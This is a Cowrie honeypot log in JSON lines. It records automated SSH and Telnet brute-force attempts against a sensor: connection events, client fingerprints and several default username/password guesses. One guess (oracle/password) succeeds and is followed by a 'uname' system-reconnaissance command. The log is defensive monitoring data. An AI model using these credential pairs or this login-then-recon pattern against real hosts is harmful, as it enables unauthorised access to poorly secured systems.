{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:41.023039Z","src_ip":"45.156.87.254","session":"2d666625e050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37c574ddbc5","protocol":"telnet","message":"New connection: 20.123.41.163:37870 (10.17.0.5:23) [session: a37c574ddbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:43.467189Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58750,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b6e1d0324b","protocol":"ssh","message":"New connection: 45.156.87.254:58750 (159.203.135.109:22) [session: c2b6e1d0324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:44.403118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:44.414804Z","src_ip":"45.156.87.254","session":"c2b6e1d0324b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:44.499258Z","src_ip":"45.156.87.254","session":"c2b6e1d0324b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:44.774419Z","src_ip":"45.156.87.254","session":"c2b6e1d0324b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:45.862081Z","src_ip":"45.156.87.254","session":"c2b6e1d0324b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57994,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0bbe0a7b80e","protocol":"ssh","message":"New connection: 45.156.87.254:57994 (159.203.135.109:22) [session: e0bbe0a7b80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.227205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.231703Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.316344Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.570021Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.786345Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.789901Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.875704Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:49.881183Z","src_ip":"45.156.87.254","session":"e0bbe0a7b80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.185671091079712,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:51.652768Z","src_ip":"20.123.41.163","session":"a37c574ddbc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711424112319946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:52.567568Z","src_ip":"185.145.252.179","session":"ffabe49be124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58028,"dst_ip":"159.203.135.109","dst_port":22,"session":"962e4e98b4ab","protocol":"ssh","message":"New connection: 45.156.87.254:58028 (159.203.135.109:22) [session: 962e4e98b4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:54.419528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:54.425121Z","src_ip":"45.156.87.254","session":"962e4e98b4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:54.509982Z","src_ip":"45.156.87.254","session":"962e4e98b4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:54.759112Z","src_ip":"45.156.87.254","session":"962e4e98b4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:55.848425Z","src_ip":"45.156.87.254","session":"962e4e98b4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.41887021064758,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:58.099371Z","src_ip":"20.123.41.163","session":"a19e5fa2a21f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":55608,"dst_ip":"10.17.0.5","dst_port":23,"session":"da590703a827","protocol":"telnet","message":"New connection: 185.145.252.179:55608 (10.17.0.5:23) [session: da590703a827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:58.284135Z"}
{"eventid":"cowrie.session.closed","duration":47.23684573173523,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:58.768562Z","src_ip":"20.123.41.163","session":"ec184b4b0d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42650,"dst_ip":"159.203.135.109","dst_port":22,"session":"b91ea14ad283","protocol":"ssh","message":"New connection: 45.156.87.254:42650 (159.203.135.109:22) [session: b91ea14ad283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:59.599694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:59.604960Z","src_ip":"45.156.87.254","session":"b91ea14ad283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:59.688027Z","src_ip":"45.156.87.254","session":"b91ea14ad283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:59.953826Z","src_ip":"45.156.87.254","session":"b91ea14ad283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:01.040916Z","src_ip":"45.156.87.254","session":"b91ea14ad283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42666,"dst_ip":"159.203.135.109","dst_port":22,"session":"3827e4452bfc","protocol":"ssh","message":"New connection: 45.156.87.254:42666 (159.203.135.109:22) [session: 3827e4452bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:05.333953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:05.407057Z","src_ip":"45.156.87.254","session":"3827e4452bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:05.620592Z","src_ip":"45.156.87.254","session":"3827e4452bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:05.891154Z","src_ip":"45.156.87.254","session":"3827e4452bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:06.979042Z","src_ip":"45.156.87.254","session":"3827e4452bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.229841470718384,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:08.209753Z","src_ip":"153.75.247.232","session":"858fba342c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"500f22bbf0d2","protocol":"ssh","message":"New connection: 45.156.87.254:38318 (159.203.135.109:22) [session: 500f22bbf0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:11.435246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:11.439463Z","src_ip":"45.156.87.254","session":"500f22bbf0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:11.526510Z","src_ip":"45.156.87.254","session":"500f22bbf0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:11.844225Z","src_ip":"45.156.87.254","session":"500f22bbf0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:12.951325Z","src_ip":"45.156.87.254","session":"500f22bbf0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38332,"dst_ip":"159.203.135.109","dst_port":22,"session":"075c398168d6","protocol":"ssh","message":"New connection: 45.156.87.254:38332 (159.203.135.109:22) [session: 075c398168d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:16.878902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:16.889331Z","src_ip":"45.156.87.254","session":"075c398168d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:16.975341Z","src_ip":"45.156.87.254","session":"075c398168d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:17.458291Z","src_ip":"45.156.87.254","session":"075c398168d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:18.544396Z","src_ip":"45.156.87.254","session":"075c398168d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a08f29ff77","protocol":"ssh","message":"New connection: 87.251.64.176:36418 (10.17.0.5:22) [session: a3a08f29ff77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:20.793220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:20.798571Z","src_ip":"87.251.64.176","session":"a3a08f29ff77","protocol":"ssh"}
